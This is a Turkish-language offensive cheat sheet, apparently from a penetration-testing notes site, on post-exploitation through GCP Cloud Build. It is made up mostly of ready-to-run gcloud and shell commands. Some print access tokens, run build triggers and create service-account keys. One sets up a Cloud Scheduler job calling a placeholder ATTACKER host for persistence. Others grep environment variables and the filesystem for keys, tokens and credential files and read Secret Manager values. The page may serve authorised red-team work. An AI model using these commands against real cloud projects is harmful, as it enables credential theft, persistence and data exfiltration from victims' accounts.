Skip to content

GCP - Cloud Build Post Exploitation

GCP post-ex

GCP - Cloud Build Post Exploitation — GCP ortamında veri/exfil, yan etki ve pivot notudur. Amaç: çağıran kimliği netleştirmek, servise özel saldırı yüzeyini komutlarla doğrulamak ve kanıtlanabilir etki üretmek. Her fence tek komut/payload taşır; çıktıyı hedefe göre uyarla.

Saldırı akışı

Section titled “Saldırı akışı”

  1. Hedef veriyi / trafiği / compute’u seç.

  2. Exfil veya yan etki primitifini çalıştır.

  3. İkinci hesap / iç ağ pivotunu dene.

  4. Kanıt paketini (çıktı, hash, zaman) kaydet.

Kimlik / oturum

Section titled “Kimlik / oturum”

Önce kim olduğunu ve hangi hesaba/projeye/kontekste oturduğunu kilitle.

Terminal window
gcloud auth list
Terminal window
gcloud config get-value project
Terminal window
gcloud auth print-access-token | cut -c1-20

Hedef komutlar

Section titled “Hedef komutlar”

GCP - Cloud Build Post Exploitation için doğrudan uygulanabilir komutlar. Placeholder’ları (BUCKET, ROLE, FN, …) hedef değerlerle değiştir.

Terminal window
gcloud builds triggers list
Terminal window
gcloud builds triggers run TRIGGER
Terminal window
gcloud builds describe BUILD_ID
Terminal window
gcloud builds list
Terminal window
gcloud builds submit --config cloudbuild.yaml .

Kalıcılık / etki

Section titled “Kalıcılık / etki”

Erişimi tekrar kullanılabilir kanala çevir veya veriyi dışarı al. İkinci bir oturumdan doğrula.

Terminal window
gcloud iam service-accounts keys create persist.json --iam-account SA@PROJECT.iam.gserviceaccount.com
Terminal window
gcloud scheduler jobs create http persist --schedule='0 * * * *' --uri=https://ATTACKER/ --http-method=GET
Terminal window
gcloud functions deploy persist --runtime python312 --trigger-http --source .

Secret / credential avı

Section titled “Secret / credential avı”

Env, metadata, secret store ve CI loglarından ikinci kimlik topla; yeni principal ile döngüyü tekrarla.

Terminal window
env | rg -i 'key|secret|token|password|aws_|azure|gcp|kube'
Terminal window
printenv | sort
Terminal window
find / -name '*.pem' -o -name 'credentials' -o -name '*.json' 2>/dev/null | head -n 40
Terminal window
gcloud secrets list
Terminal window
gcloud secrets versions access latest --secret=SECRET

Kanıt

Section titled “Kanıt”

Rapor için yeniden üretilebilir çıktı bırak: komut, zaman, hesap/arn, etki özeti.

request/response veya CLI çıktısı
hesap / proje / cluster
etki: okuma | yazma | RCE | lateral
zaman damgası + dosya hash
Terminal window
mkdir -p evidence/cloud && tee evidence/cloud/notes.txt